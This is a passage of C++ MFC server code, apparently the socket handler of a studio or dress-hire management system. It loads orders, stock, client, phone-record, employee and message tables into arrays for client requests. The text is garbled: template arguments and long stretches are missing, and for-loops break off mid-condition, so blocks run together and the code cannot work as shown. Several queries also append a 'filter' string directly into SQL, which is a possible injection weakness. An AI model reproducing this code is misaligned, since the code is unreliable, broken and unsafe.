(ii).Add(rsSt.m_phone) ; g_List1array.ElementAt (ii).Add(rsSt.m_clerk) ; g_List1array.ElementAt (ii).Add(rsSt.m_date) ; g_List1array.ElementAt (ii).Add(rsSt.m_date1) ; g_List1array.ElementAt (ii).Add(rsSt.m_date2) ; g_List1array.ElementAt (ii).Add(rsSt.m_hireorsale) ; g_List1array.ElementAt (ii).Add(rsSt.m_remark) ; ii++; rsSt.MoveNext();if(g_List1array.GetSize ()<=ii)break; } rsSt.Close();g_List1array.SetSize(ii , 1 ); } break; case 74://dresshiredata { CRecordset myset(m_pConndb); CString sql="select count(*) as cot from [dresshiredata]"; if(!filter.IsEmpty ())sql+=" where "+filter; myset.Open (CRecordset::forwardOnly, sql); myset.GetFieldValue ("cot", sql); myset.Close(); g_List1array.SetSize(atol(sql) , 1 ); RstDressHireData rsSt; rsSt.m_pDatabase=m_pConndb;if(!filter.IsEmpty ())rsSt.m_strFilter =filter; rsSt.Open(); DWORD ii=0; while(!rsSt.IsEOF()) { g_List1array.ElementAt (ii).RemoveAll (); g_List1array.ElementAt (ii).Add(rsSt.m_id) ; g_List1array.ElementAt (ii).Add(rsSt.m_no) ; g_List1array.ElementAt (ii).Add(rsSt.m_name) ; g_List1array.ElementAt (ii).Add(rsSt.m_count) ; g_List1array.ElementAt (ii).Add(rsSt.m_isreturn) ; g_List1array.ElementAt (ii).Add(rsSt.m_clerk) ; g_List1array.ElementAt (ii).Add(rsSt.m_returndate) ; g_List1array.ElementAt (ii).Add(rsSt.m_hireorsale) ; ii++; rsSt.MoveNext();if(g_List1array.GetSize ()<=ii)break; } rsSt.Close();g_List1array.SetSize(ii , 1 ); } break; case 75://dresshire+dresshiredata { CArraym_List1array; CArraym_List2array; { CRecordset myset(m_pConndb); CString sql="select count(*) as cot from [dresshire]";// if(!filter.IsEmpty ())sql+=" where "+filter; myset.Open (CRecordset::forwardOnly, sql); myset.GetFieldValue ("cot", sql); myset.Close(); m_List1array.SetSize(atol(sql) , 1 ); RstDressHireReg rsSt; rsSt.m_pDatabase=m_pConndb;//if(!filter.IsEmpty ())rsSt.m_strFilter =filter; rsSt.Open(); DWORD ii=0; while(!rsSt.IsEOF()) { m_List1array.ElementAt (ii).RemoveAll (); m_List1array.ElementAt (ii).Add(rsSt.m_id) ; m_List1array.ElementAt (ii).Add(rsSt.m_money) ; m_List1array.ElementAt (ii).Add(rsSt.m_money2) ; m_List1array.ElementAt (ii).Add(rsSt.m_name) ; m_List1array.ElementAt (ii).Add(rsSt.m_phone) ; m_List1array.ElementAt (ii).Add(rsSt.m_clerk) ; m_List1array.ElementAt (ii).Add(rsSt.m_date) ; m_List1array.ElementAt (ii).Add(rsSt.m_date1) ; m_List1array.ElementAt (ii).Add(rsSt.m_date2) ; m_List1array.ElementAt (ii).Add(rsSt.m_hireorsale) ; m_List1array.ElementAt (ii).Add(rsSt.m_remark) ; ii++; rsSt.MoveNext();if(m_List1array.GetSize ()<=ii)break; } rsSt.Close();m_List1array.SetSize(ii , 1 ); } { CRecordset myset(m_pConndb); CString sql="select count(*) as cot from [dresshiredata]"; if(!filter.IsEmpty ())sql+=" where "+filter; myset.Open (CRecordset::forwardOnly, sql); myset.GetFieldValue ("cot", sql); myset.Close(); m_List2array.SetSize(atol(sql) , 1 ); RstDressHireData rsSt; rsSt.m_pDatabase=m_pConndb;if(!filter.IsEmpty ())rsSt.m_strFilter =filter; rsSt.Open(); DWORD ii=0; while(!rsSt.IsEOF()) { m_List2array.ElementAt (ii).RemoveAll (); m_List2array.ElementAt (ii).Add(rsSt.m_id) ; m_List2array.ElementAt (ii).Add(rsSt.m_name) ; m_List2array.ElementAt (ii).Add(rsSt.m_count) ; m_List2array.ElementAt (ii).Add(rsSt.m_isreturn) ; m_List2array.ElementAt (ii).Add(rsSt.m_returndate) ; m_List2array.ElementAt (ii).Add(rsSt.m_clerk) ; ii++; rsSt.MoveNext();if(m_List2array.GetSize ()<=ii)break; } rsSt.Close();m_List2array.SetSize(ii , 1 ); } DWORD size=0; CString oldid,id; BOOL bFind; for(int i=0; im_List1array; CArraym_List2array; { CRecordset myset(m_pConndb); CString sql="select count(*) as cot from [storeinfo]"; if(!filter.IsEmpty ())sql+=" where "+filter; myset.Open (CRecordset::forwardOnly, sql); myset.GetFieldValue ("cot", sql); myset.Close(); m_List1array.SetSize(atol(sql) , 1 ); CGoodsinfoSet rsSt; rsSt.m_pDatabase=m_pConndb;if(!filter.IsEmpty ())rsSt.m_strFilter =filter; rsSt.Open(); DWORD ii=0; while(!rsSt.IsEOF()) { m_List1array.ElementAt (ii).RemoveAll (); m_List1array.ElementAt (ii).Add(rsSt.m_id) ; m_List1array.ElementAt (ii).Add(rsSt.m_type) ; m_List1array.ElementAt (ii).Add(rsSt.m_name) ; m_List1array.ElementAt (ii).Add(rsSt.m_count) ; m_List1array.ElementAt (ii).Add(rsSt.m_date) ; m_List1array.ElementAt (ii).Add(rsSt.m_clerk) ; m_List1array.ElementAt (ii).Add("入库") ; m_List1array.ElementAt (ii).Add(rsSt.m_remark) ; ii++; rsSt.MoveNext();if(m_List1array.GetSize ()<=ii)break; } rsSt.Close();m_List1array.SetSize(ii , 1 ); } { CRecordset myset(m_pConndb); CString sql="select count(*) as cot from [storeinfo2]"; if(!filter.IsEmpty ())sql+=" where "+filter; myset.Open (CRecordset::forwardOnly, sql); myset.GetFieldValue ("cot", sql); myset.Close(); m_List2array.SetSize(atol(sql) , 1 ); CGoodsinfoSet2 rsSt; rsSt.m_pDatabase=m_pConndb;if(!filter.IsEmpty ())rsSt.m_strFilter =filter; rsSt.Open(); DWORD ii=0; if(bAutoStore) { while(!rsSt.IsEOF()) { if(rsSt.m_id.Find ("订单使用")==-1) { m_List2array.ElementAt (ii).RemoveAll (); m_List2array.ElementAt (ii).Add(rsSt.m_id) ; m_List2array.ElementAt (ii).Add(rsSt.m_type) ; m_List2array.ElementAt (ii).Add(rsSt.m_name) ; m_List2array.ElementAt (ii).Add(rsSt.m_count) ; m_List2array.ElementAt (ii).Add(rsSt.m_date) ; m_List2array.ElementAt (ii).Add(rsSt.m_clerk) ; m_List2array.ElementAt (ii).Add("出库") ; m_List2array.ElementAt (ii).Add(rsSt.m_remark) ; ii++; } rsSt.MoveNext(); if(m_List2array.GetSize ()<=ii)break; } } else { while(!rsSt.IsEOF()) { m_List2array.ElementAt (ii).RemoveAll (); m_List2array.ElementAt (ii).Add(rsSt.m_id) ; m_List2array.ElementAt (ii).Add(rsSt.m_type) ; m_List2array.ElementAt (ii).Add(rsSt.m_name) ; m_List2array.ElementAt (ii).Add(rsSt.m_count) ; m_List2array.ElementAt (ii).Add(rsSt.m_date) ; m_List2array.ElementAt (ii).Add(rsSt.m_clerk) ; m_List2array.ElementAt (ii).Add("出库") ; m_List2array.ElementAt (ii).Add(rsSt.m_remark) ; ii++; rsSt.MoveNext();if(m_List2array.GetSize ()<=ii)break; } } rsSt.Close();m_List2array.SetSize(ii , 1 ); } DWORD size=0; for(int i=0; im_List1array; CRecordset myset(m_pConndb); CString sql="select count(*) as cot from [storeinfo2]"; if(!filter.IsEmpty ())sql+=" where "+filter; myset.Open (CRecordset::forwardOnly, sql); myset.GetFieldValue ("cot", sql); myset.Close(); m_List1array.SetSize(atol(sql) , 1 ); CGoodsinfoSet2 rsSt; rsSt.m_pDatabase=m_pConndb;if(!filter.IsEmpty ())rsSt.m_strFilter =filter; rsSt.Open(); DWORD ii=0; while(!rsSt.IsEOF()) { if(::FindArray(&namearray, rsSt.m_name)==-1) { rsSt.MoveNext(); continue; } m_List1array.ElementAt (ii).RemoveAll (); m_List1array.ElementAt (ii).Add(rsSt.m_name) ; m_List1array.ElementAt (ii).Add(rsSt.m_count) ; m_List1array.ElementAt (ii).Add(rsSt.m_date) ; ii++; rsSt.MoveNext();if(m_List1array.GetSize ()<=ii)break; } rsSt.Close();m_List1array.SetSize(ii , 1 ); int size=0; CString oldname=""; int count=0; CString str; // BOOL needadd; for(int i=0; im_List1array; CRecordset myset(m_pConndb); CString sql="select count(*) as cot from [client2]"; if(!filter.IsEmpty ())sql+=" where "+filter; myset.Open (CRecordset::forwardOnly, sql); myset.GetFieldValue ("cot", sql); myset.Close(); m_List1array.SetSize(atol(sql) , 1 ); RstClient2 rsSt; rsSt.m_pDatabase=m_pConndb;if(!filter.IsEmpty ())rsSt.m_strFilter =filter; rsSt.m_strSort="[reason] desc"; rsSt.Open(); DWORD ii=0; while(!rsSt.IsEOF()) { m_List1array.ElementAt (ii).RemoveAll (); m_List1array.ElementAt (ii).Add(rsSt.m_reason) ; ii++; rsSt.MoveNext();if(m_List1array.GetSize ()<=ii)break; } rsSt.Close();m_List1array.SetSize(ii , 1 ); int size=0; CString oldname=""; int count=0; CString str; for(int i=0; im_List1array; CRecordset myset(m_pConndb); CString sql="select count(*) as cot from [client2]"; if(!filter.IsEmpty ())sql+=" where "+filter; myset.Open (CRecordset::forwardOnly, sql); myset.GetFieldValue ("cot", sql); myset.Close(); m_List1array.SetSize(atol(sql) , 1 ); RstClient2 rsSt; rsSt.m_pDatabase=m_pConndb;if(!filter.IsEmpty ())rsSt.m_strFilter =filter; rsSt.m_strSort="[from] desc"; rsSt.Open(); DWORD ii=0; while(!rsSt.IsEOF()) { m_List1array.ElementAt (ii).RemoveAll (); m_List1array.ElementAt (ii).Add(rsSt.m_from) ; ii++; rsSt.MoveNext();if(m_List1array.GetSize ()<=ii)break; } rsSt.Close();m_List1array.SetSize(ii , 1 ); int size=0; CString oldname=""; int count=0; CString str; for(int i=0; im_List1array; { filter="kind<>'5' and name<>'入册' and name<>'入底'"; CRecordset myset(m_pConndb); CString sql="select count(*) as cot from dindansp";if(!filter.IsEmpty ())sql+=" where "+filter; myset.Open (CRecordset::forwardOnly, sql); myset.GetFieldValue ("cot", sql); myset.Close(); int count=atol(sql); m_List1array.SetSize(count , 1 ); CRstDinDanSP2 rsSt; rsSt.m_pDatabase=m_pConndb;if(!filter.IsEmpty ())rsSt.m_strFilter =filter; rsSt.Open(); ii=0; while(!rsSt.IsEOF()) { m_List1array.ElementAt (ii).RemoveAll (); m_List1array.ElementAt (ii).Add(rsSt.id) ; m_List1array.ElementAt (ii).Add(rsSt.status1) ; ii++; rsSt.MoveNext();if(m_List1array.GetSize ()<=ii)break; } rsSt.Close();m_List1array.SetSize(ii , 1 ); } for(ii=0; iim_strRemoteHost); WriteLogin(ss); WriteLogin(e->m_strError);return; } nStep=2; CMemFile memfile; CArchive ar(&memfile, CArchive::store); for( ii=0; iim_strRemoteHost); WriteLogin(ss); } } void SortArray2(BOOL bAscending, CStringArray &datearray, CArray&valuearray) { CString strtemp; int ftemp; int last = datearray.GetSize () - 1; bool sorted = true; if(bAscending) { do { sorted = true; for (int i = 0; i < last; i++) { if (datearray[i] < datearray[i + 1]) { strtemp = datearray[i]; datearray[i] = datearray[i + 1]; datearray[i + 1] = strtemp; ftemp = valuearray[i]; valuearray[i] = valuearray[i + 1]; valuearray[i + 1] = ftemp; sorted = false; } } last--; } while (!sorted); } else { do { sorted = true; for (int i = 0; i < last; i++) { if (datearray[i] > datearray[i + 1]) { strtemp = datearray[i]; datearray[i] = datearray[i + 1]; datearray[i + 1] = strtemp; ftemp = valuearray[i]; valuearray[i] = valuearray[i + 1]; valuearray[i + 1] = ftemp; sorted = false; } } last--; } while (!sorted); } } void CConnectSocket::GetDataFromCode2(BYTE &code, BYTE **szDataBuf, DWORD &nDataLen, DWORD &arraysize, CString filter) {//97---134 int nStep=0; try { DWORD ii=0; CArrayg_List1array; try { switch(code) { case 98://update { CRstUpdate rsSt; rsSt.m_pDatabase=m_pConndb; rsSt.Open(); ii=0; if(!rsSt.IsEOF()) { nDataLen=rsSt.data.m_dwDataLength; g_ListData[code]=new BYTE[nDataLen]; void *pData=GlobalLock(rsSt.data.m_hData); memcpy(g_ListData[code], pData, nDataLen); *szDataBuf=g_ListData[code]; GlobalUnlock(rsSt.data.m_hData); } rsSt.Close(); return; } break; case 99://update { CRstUpdate rsSt; rsSt.m_pDatabase=m_pConndb; rsSt.Open(); ii=0; if(!rsSt.IsEOF()) { nDataLen=rsSt.data2.m_dwDataLength; g_ListData[code]=new BYTE[nDataLen]; void *pData=GlobalLock(rsSt.data2.m_hData); memcpy(g_ListData[code], pData, nDataLen); *szDataBuf=g_ListData[code]; GlobalUnlock(rsSt.data2.m_hData); } rsSt.Close(); return; } break; case 100://update { CRstUpdate rsSt; rsSt.m_pDatabase=m_pConndb; rsSt.Open(); ii=0; if(!rsSt.IsEOF()) { nDataLen=rsSt.data3.m_dwDataLength; g_ListData[code]=new BYTE[nDataLen]; void *pData=GlobalLock(rsSt.data3.m_hData); memcpy(g_ListData[code], pData, nDataLen); *szDataBuf=g_ListData[code]; GlobalUnlock(rsSt.data3.m_hData); } rsSt.Close(); return; } break; case 101://update { CRstUpdate rsSt; rsSt.m_pDatabase=m_pConndb; rsSt.Open(); ii=0; if(!rsSt.IsEOF()) { nDataLen=rsSt.data4.m_dwDataLength; g_ListData[code]=new BYTE[nDataLen]; void *pData=GlobalLock(rsSt.data4.m_hData); memcpy(g_ListData[code], pData, nDataLen); *szDataBuf=g_ListData[code]; GlobalUnlock(rsSt.data4.m_hData); } rsSt.Close(); return; } break; case 102://update { CRstUpdate rsSt; rsSt.m_pDatabase=m_pConndb; rsSt.Open(); ii=0; if(!rsSt.IsEOF()) { nDataLen=rsSt.data5.m_dwDataLength; g_ListData[code]=new BYTE[nDataLen]; void *pData=GlobalLock(rsSt.data5.m_hData); memcpy(g_ListData[code], pData, nDataLen); *szDataBuf=g_ListData[code]; GlobalUnlock(rsSt.data5.m_hData); } rsSt.Close(); return; } break; case 103://update { CRstUpdate rsSt; rsSt.m_pDatabase=m_pConndb; rsSt.Open(); ii=0; if(!rsSt.IsEOF()) { nDataLen=rsSt.data6.m_dwDataLength; g_ListData[code]=new BYTE[nDataLen]; void *pData=GlobalLock(rsSt.data6.m_hData); memcpy(g_ListData[code], pData, nDataLen); *szDataBuf=g_ListData[code]; GlobalUnlock(rsSt.data6.m_hData); } rsSt.Close(); return; } break; case 104://update { CLEAR_START CRstUpdate rsSt; rsSt.m_pDatabase=m_pConndb; rsSt.Open(); ii=0; if(!rsSt.IsEOF()) { nDataLen=rsSt.data7.m_dwDataLength; *szDataBuf=new BYTE[nDataLen]; void *pData=GlobalLock(rsSt.data7.m_hData); memcpy(*szDataBuf, pData, nDataLen); GlobalUnlock(rsSt.data7.m_hData); } rsSt.Close(); CLEAR_END return; } break; case 105://界面 { CODEREPLACE_START nDataLen=g_SkinLeng; *szDataBuf=g_pSkinData; CODEREPLACE_END return; } break; case 97:// { CRecordset myset(m_pConndb); CString sql="select count(*) as cot from lonintimeset";if(!filter.IsEmpty ())sql+=" where "+filter; myset.Open (CRecordset::forwardOnly, sql); myset.GetFieldValue ("cot", sql); myset.Close(); int count=atol(sql); g_List1array.SetSize(count , 1 ); CRstLoninTimeSet rsSt; rsSt.m_pDatabase=m_pConndb;if(!filter.IsEmpty ())rsSt.m_strFilter =filter; rsSt.Open(); ii=0; while(!rsSt.IsEOF()) { g_List1array.ElementAt (ii).RemoveAll (); g_List1array.ElementAt (ii).Add(rsSt.name) ; g_List1array.ElementAt (ii).Add(rsSt.time1) ; g_List1array.ElementAt (ii).Add(rsSt.time2) ; g_List1array.ElementAt (ii).Add(rsSt.time3) ; g_List1array.ElementAt (ii).Add(rsSt.time4) ; ii++; rsSt.MoveNext();if(g_List1array.GetSize ()<=ii)break; } rsSt.Close();g_List1array.SetSize(ii , 1 ); } break; case 106:// { CRecordset myset(m_pConndb); CString sql="select count(*) as cot from loninbanset";if(!filter.IsEmpty ())sql+=" where "+filter; myset.Open (CRecordset::forwardOnly, sql); myset.GetFieldValue ("cot", sql); myset.Close(); int count=atol(sql); g_List1array.SetSize(count , 1 ); CRstLoninBanSet rsSt; rsSt.m_pDatabase=m_pConndb;if(!filter.IsEmpty ())rsSt.m_strFilter =filter; rsSt.Open(); ii=0; while(!rsSt.IsEOF()) { g_List1array.ElementAt (ii).RemoveAll (); g_List1array.ElementAt (ii).Add(rsSt.weekname) ; g_List1array.ElementAt (ii).Add(rsSt.name) ; g_List1array.ElementAt (ii).Add(rsSt.banname1) ; g_List1array.ElementAt (ii).Add(rsSt.banname2) ; g_List1array.ElementAt (ii).Add(rsSt.banname3) ; g_List1array.ElementAt (ii).Add(rsSt.banname4) ; g_List1array.ElementAt (ii).Add(rsSt.banname5) ; g_List1array.ElementAt (ii).Add(rsSt.banname6) ; g_List1array.ElementAt (ii).Add(rsSt.banname7) ; ii++; rsSt.MoveNext();if(g_List1array.GetSize ()<=ii)break; } rsSt.Close();g_List1array.SetSize(ii , 1 ); } break; case 107:// { CRecordset myset(m_pConndb); CString sql="select count(*) as cot from loninbanset";if(!filter.IsEmpty ())sql+=" where "+filter; myset.Open (CRecordset::forwardOnly, sql); myset.GetFieldValue ("cot", sql); myset.Close(); int count=atol(sql); g_List1array.SetSize(count , 1 ); CRstLoninBanSet rsSt; rsSt.m_pDatabase=m_pConndb;if(!filter.IsEmpty ())rsSt.m_strFilter =filter; rsSt.Open(); ii=0; while(!rsSt.IsEOF()) { g_List1array.ElementAt (ii).RemoveAll (); g_List1array.ElementAt (ii).Add(rsSt.name) ; g_List1array.ElementAt (ii).Add(rsSt.banname1) ; g_List1array.ElementAt (ii).Add(rsSt.banname2) ; g_List1array.ElementAt (ii).Add(rsSt.banname3) ; g_List1array.ElementAt (ii).Add(rsSt.banname4) ; g_List1array.ElementAt (ii).Add(rsSt.banname5) ; g_List1array.ElementAt (ii).Add(rsSt.banname6) ; g_List1array.ElementAt (ii).Add(rsSt.banname7) ; g_List1array.ElementAt (ii).Add(rsSt.weekname) ; ii++; rsSt.MoveNext();if(g_List1array.GetSize ()<=ii)break; } rsSt.Close();g_List1array.SetSize(ii , 1 ); { filter="dimission='在职'"; CArraym_List1array; CRecordset myset(m_pConndb); CString sql="select count(*) as cot from renyuan";if(!filter.IsEmpty ())sql+=" where "+filter; myset.Open (CRecordset::forwardOnly, sql); myset.GetFieldValue ("cot", sql); myset.Close(); int count=atol(sql); m_List1array.SetSize(count , 1 ); CRstRenYuan rsSt; rsSt.m_pDatabase=m_pConndb;if(!filter.IsEmpty ())rsSt.m_strFilter =filter; rsSt.Open(); ii=0; while(!rsSt.IsEOF()) { m_List1array.ElementAt (ii).RemoveAll (); m_List1array.ElementAt (ii).Add(rsSt.name) ; ii++; rsSt.MoveNext();if(m_List1array.GetSize ()<=ii)break; } rsSt.Close();m_List1array.SetSize(ii , 1 ); count=g_List1array.GetSize (); for(ii=0; ii=0; a--) { BOOL bFind=0; for(ii=0; iim_List1array; { CRecordset myset(m_pConndb); CString sql="select count(*) as cot from dindan";if(!filter.IsEmpty ())sql+=" where "+filter; myset.Open (CRecordset::forwardOnly, sql); myset.GetFieldValue ("cot", sql); myset.Close(); int count=atol(sql); m_List1array.SetSize(count , 1 ); CRstDindanForm rsSt; rsSt.m_pDatabase=m_pConndb;if(!filter.IsEmpty ())rsSt.m_strFilter =filter; rsSt.Open(); ii=0; while(!rsSt.IsEOF()) { m_List1array.ElementAt (ii).RemoveAll (); m_List1array.ElementAt (ii).Add(rsSt.id) ; m_List1array.ElementAt (ii).Add(rsSt.name1) ; m_List1array.ElementAt (ii).Add(rsSt.name2) ; m_List1array.ElementAt (ii).Add(rsSt.phone1) ; m_List1array.ElementAt (ii).Add(rsSt.phone2) ; m_List1array.ElementAt (ii).Add(rsSt.pinyin1) ; m_List1array.ElementAt (ii).Add(rsSt.pinyin2) ; ii++; rsSt.MoveNext();if(m_List1array.GetSize ()<=ii)break; } rsSt.Close();m_List1array.SetSize(ii , 1 ); } CRecordset myset(m_pConndb); CString sql="select count(*) as cot from phonerecord";if(!filter.IsEmpty ())sql+=" where "+filter; myset.Open (CRecordset::forwardOnly, sql); myset.GetFieldValue ("cot", sql); myset.Close(); int count=atol(sql); g_List1array.SetSize(count , 1 ); CRstphonerecord rsSt; rsSt.m_pDatabase=m_pConndb;if(!filter.IsEmpty ())rsSt.m_strFilter =filter; rsSt.Open(); ii=0; CString temp; int aa=-1; while(!rsSt.IsEOF()) { g_List1array.ElementAt (ii).RemoveAll (); if(temp!=rsSt.id) { temp=rsSt.id; if(aa!=-1 && aam_List1array; { CRecordset myset(m_pConndb); CString sql="select count(*) as cot from client2";if(!filter.IsEmpty ())sql+=" where "+filter; myset.Open (CRecordset::forwardOnly, sql); myset.GetFieldValue ("cot", sql); myset.Close(); int count=atol(sql); m_List1array.SetSize(count , 1 ); RstClient2 rsSt; rsSt.m_pDatabase=m_pConndb;if(!filter.IsEmpty ())rsSt.m_strFilter =filter; rsSt.Open(); ii=0; while(!rsSt.IsEOF()) { m_List1array.ElementAt (ii).RemoveAll (); m_List1array.ElementAt (ii).Add(rsSt.m_name) ; m_List1array.ElementAt (ii).Add(rsSt.m_sex) ; m_List1array.ElementAt (ii).Add(rsSt.m_phone) ; m_List1array.ElementAt (ii).Add(rsSt.m_pinyin) ; ii++; rsSt.MoveNext();if(m_List1array.GetSize ()<=ii)break; } rsSt.Close();m_List1array.SetSize(ii , 1 ); } CRecordset myset(m_pConndb); CString sql="select count(*) as cot from client2phonerecord";if(!filter.IsEmpty ())sql+=" where "+filter; myset.Open (CRecordset::forwardOnly, sql); myset.GetFieldValue ("cot", sql); myset.Close(); int count=atol(sql); g_List1array.SetSize(count , 1 ); CRstclient2phonerecord rsSt; rsSt.m_pDatabase=m_pConndb;if(!filter.IsEmpty ())rsSt.m_strFilter =filter; rsSt.Open(); ii=0; CString temp=CTime::GetCurrentTime ().Format ("%Y%m%d%H%M%S"); int aa=-1; while(!rsSt.IsEOF()) { g_List1array.ElementAt (ii).RemoveAll (); if(temp!=rsSt.phone) { temp=rsSt.phone; if(aa!=-1 && aam_List1array; { CRecordset myset(m_pConndb); CString sql="select count(*) as cot from renyuan";if(!filter.IsEmpty ())sql+=" where "+filter; myset.Open (CRecordset::forwardOnly, sql); myset.GetFieldValue ("cot", sql); myset.Close(); int count=atol(sql); m_List1array.SetSize(count , 1 ); CRstRenYuan rsSt; rsSt.m_pDatabase=m_pConndb;if(!filter.IsEmpty ())rsSt.m_strFilter =filter; rsSt.Open(); ii=0; while(!rsSt.IsEOF()) { m_List1array.ElementAt (ii).RemoveAll (); m_List1array.ElementAt (ii).Add(rsSt.name) ; m_List1array.ElementAt (ii).Add(rsSt.phone) ; ii++; rsSt.MoveNext();if(m_List1array.GetSize ()<=ii)break; } rsSt.Close();m_List1array.SetSize(ii , 1 ); } CRecordset myset(m_pConndb); CString sql="select count(*) as cot from employeephonerecord";if(!filter.IsEmpty ())sql+=" where "+filter; myset.Open (CRecordset::forwardOnly, sql); myset.GetFieldValue ("cot", sql); myset.Close(); int count=atol(sql); g_List1array.SetSize(count , 1 ); CRstemployeephonerecord rsSt; rsSt.m_pDatabase=m_pConndb;if(!filter.IsEmpty ())rsSt.m_strFilter =filter; rsSt.Open(); ii=0; CString temp;int aa=-1; while(!rsSt.IsEOF()) { g_List1array.ElementAt (ii).RemoveAll (); if(temp!=rsSt.name) { temp=rsSt.name; if(aa!=-1 && aam_List1array; CArraym_List2array; { CRecordset myset(m_pConndb); CString sql="select count(*) as cot from dindan"; myset.Open (CRecordset::forwardOnly, sql); myset.GetFieldValue ("cot", sql); myset.Close(); int count=atol(sql); m_List1array.SetSize(count , 1 ); CRstTodayForm rsSt; rsSt.m_pDatabase=m_pConndb; rsSt.m_strSort="id"; rsSt.Open(); ii=0; while(!rsSt.IsEOF()) { m_List1array.ElementAt (ii).RemoveAll (); m_List1array.ElementAt (ii).Add(rsSt.id) ; m_List1array.ElementAt (ii).Add(rsSt.name1) ; m_List1array.ElementAt (ii).Add(rsSt.name2) ; m_List1array.ElementAt (ii).Add(rsSt.phone1) ; m_List1array.ElementAt (ii).Add(rsSt.phone2) ; m_List1array.ElementAt (ii).Add(rsSt.time5) ; m_List1array.ElementAt (ii).Add(rsSt.time3) ; m_List1array.ElementAt (ii).Add(rsSt.ren) ; m_List1array.ElementAt (ii).Add(rsSt.taoxiname) ; m_List1array.ElementAt (ii).Add(rsSt.taoxijiage) ; m_List1array.ElementAt (ii).Add(rsSt.pinyin1) ; m_List1array.ElementAt (ii).Add(rsSt.pinyin2) ; ii++; rsSt.MoveNext();if(m_List1array.GetSize ()<=ii)break; } rsSt.Close();m_List1array.SetSize(ii , 1 ); } /////////////////// CRecordset myset(m_pConndb); CString sql="select count(*) as cot from dindanjd";if(!filter.IsEmpty ())sql+=" where "+filter; myset.Open (CRecordset::forwardOnly, sql); myset.GetFieldValue ("cot", sql); myset.Close(); int count=atol(sql); g_List1array.SetSize(count , 1 ); CRstdindanjd rsSt; rsSt.m_pDatabase=m_pConndb;if(!filter.IsEmpty ())rsSt.m_strFilter =filter; rsSt.m_strSort="id"; rsSt.Open(); ii=0; CString temp; BOOL bFind; int aa=-1; while(!rsSt.IsEOF()) { g_List1array.ElementAt (ii).RemoveAll (); if(temp!=rsSt.id) { // if(m_List1array.GetSize ()>aa && aa!=-1) // m_List1array.RemoveAt(aa); temp=rsSt.id; bFind=0; for( aa=0; aam_List1array; { // CString filter="kind<>'5' and name<>'入册' and name<>'入底'"; #ifdef CHILD_VERSION CString filter=" name<>'入册' and name<>'入底'"; #else CString filter=" kind<>'2' and name<>'入册' and name<>'入底'"; #endif CRecordset myset(m_pConndb); CString sql="select count(*) as cot from dindansp";if(!filter.IsEmpty ())sql+=" where "+filter; myset.Open (CRecordset::forwardOnly, sql); myset.GetFieldValue ("cot", sql); myset.Close(); int count=atol(sql); m_List1array.SetSize(count , 1 ); CRstDinDanSP2 rsSt; rsSt.m_pDatabase=m_pConndb;if(!filter.IsEmpty ())rsSt.m_strFilter =filter; rsSt.Open(); ii=0; while(!rsSt.IsEOF()) { m_List1array.ElementAt (ii).RemoveAll (); m_List1array.ElementAt (ii).Add(rsSt.id) ; m_List1array.ElementAt (ii).Add(rsSt.status1) ; ii++; rsSt.MoveNext();if(m_List1array.GetSize ()<=ii)break; } rsSt.Close();m_List1array.SetSize(ii , 1 ); } CRecordset myset(m_pConndb); CString sql="select count(*) as cot from dindan";if(!filter.IsEmpty ())sql+=" where "+filter; myset.Open (CRecordset::forwardOnly, sql); myset.GetFieldValue ("cot", sql); myset.Close(); int count=atol(sql); g_List1array.SetSize(count , 1 ); CRstTodayForm rsSt; rsSt.m_pDatabase=m_pConndb;if(!filter.IsEmpty ())rsSt.m_strFilter =filter; rsSt.m_strSort="time5,datetime5";//,time4,time6,time5"; rsSt.Open(); ii=0; while(!rsSt.IsEOF()) { g_List1array.ElementAt (ii).RemoveAll (); g_List1array.ElementAt (ii).Add(rsSt.id) ; g_List1array.ElementAt (ii).Add(rsSt.name1) ; g_List1array.ElementAt (ii).Add(rsSt.name2) ; g_List1array.ElementAt (ii).Add(rsSt.phone1) ; g_List1array.ElementAt (ii).Add(rsSt.phone2) ; g_List1array.ElementAt (ii).Add(rsSt.time5) ; g_List1array.ElementAt (ii).Add(rsSt.datetime5) ; #ifndef CHILD_VERSION g_List1array.ElementAt (ii).Add(rsSt.time3) ; #endif g_List1array.ElementAt (ii).Add(rsSt.status3) ; CString sok="OK"; BOOL bFind=0; for(int a=0; a259) g_List1array.ElementAt (ii).Add(rsSt.content.Left (256)+"...") ; else g_List1array.ElementAt (ii).Add(rsSt.content) ; g_List1array.ElementAt (ii).Add(rsSt.timestamp) ; if(rsSt.receiver.GetLength ()>259) g_List1array.ElementAt (ii).Add(rsSt.receiver.Left (256)+"...") ; else g_List1array.ElementAt (ii).Add(rsSt.receiver) ; ii++; rsSt.MoveNext();if(g_List1array.GetSize ()<=ii)break; } rsSt.Close();g_List1array.SetSize(ii , 1 ); } break; case 125://dindan { CRecordset myset(m_pConndb); CString sql="select count(*) as cot from insidemsg";if(!filter.IsEmpty ())sql+=" where "+filter; myset.Open (CRecordset::forwardOnly, sql); myset.GetFieldValue ("cot", sql); myset.Close(); int count=atol(sql); g_List1array.SetSize(count , 1 ); CRstinsidemsg rsSt; rsSt.m_pDatabase=m_pConndb;if(!filter.IsEmpty ())rsSt.m_strFilter =filter; rsSt.Open(); ii=0; while(!rsSt.IsEOF()) { g_List1array.ElementAt (ii).RemoveAll (); g_List1array.ElementAt (ii).Add(rsSt.sender) ; if(rsSt.content.GetLength ()>259) g_List1array.ElementAt (ii).Add(rsSt.content.Left (256)+"...") ; else g_List1array.ElementAt (ii).Add(rsSt.content) ; g_List1array.ElementAt (ii).Add(rsSt.timestamp) ; if(rsSt.receiver.GetLength ()>259) g_List1array.ElementAt (ii).Add(rsSt.receiver.Left (256)+"...") ; else g_List1array.ElementAt (ii).Add(rsSt.receiver) ; ii++; rsSt.MoveNext();if(g_List1array.GetSize ()<=ii)break; } rsSt.Close();g_List1array.SetSize(ii , 1 ); } break; case 126://dindan { CRecordset myset(m_pConndb); CString sql="select count(*) as cot from insidemsg";if(!filter.IsEmpty ())sql+=" where "+filter; myset.Open (CRecordset::forwardOnly, sql); myset.GetFieldValue ("cot", sql); myset.Close(); int count=atol(sql); g_List1array.SetSize(count , 1 ); CRstinsidemsg rsSt; rsSt.m_pDatabase=m_pConndb;if(!filter.IsEmpty ())rsSt.m_strFilter =filter; rsSt.Open(); ii=0; while(!rsSt.IsEOF()) { g_List1array.ElementAt (ii).RemoveAll (); g_List1array.ElementAt (ii).Add(rsSt.sender) ; g_List1array.ElementAt (ii).Add(rsSt.content) ; g_List1array.ElementAt (ii).Add(rsSt.timestamp) ; g_List1array.ElementAt (ii).Add(rsSt.receiver) ; g_List1array.ElementAt (ii).Add(rsSt.receiver2) ; g_List1array.ElementAt (ii).Add(rsSt.file) ; ii++; 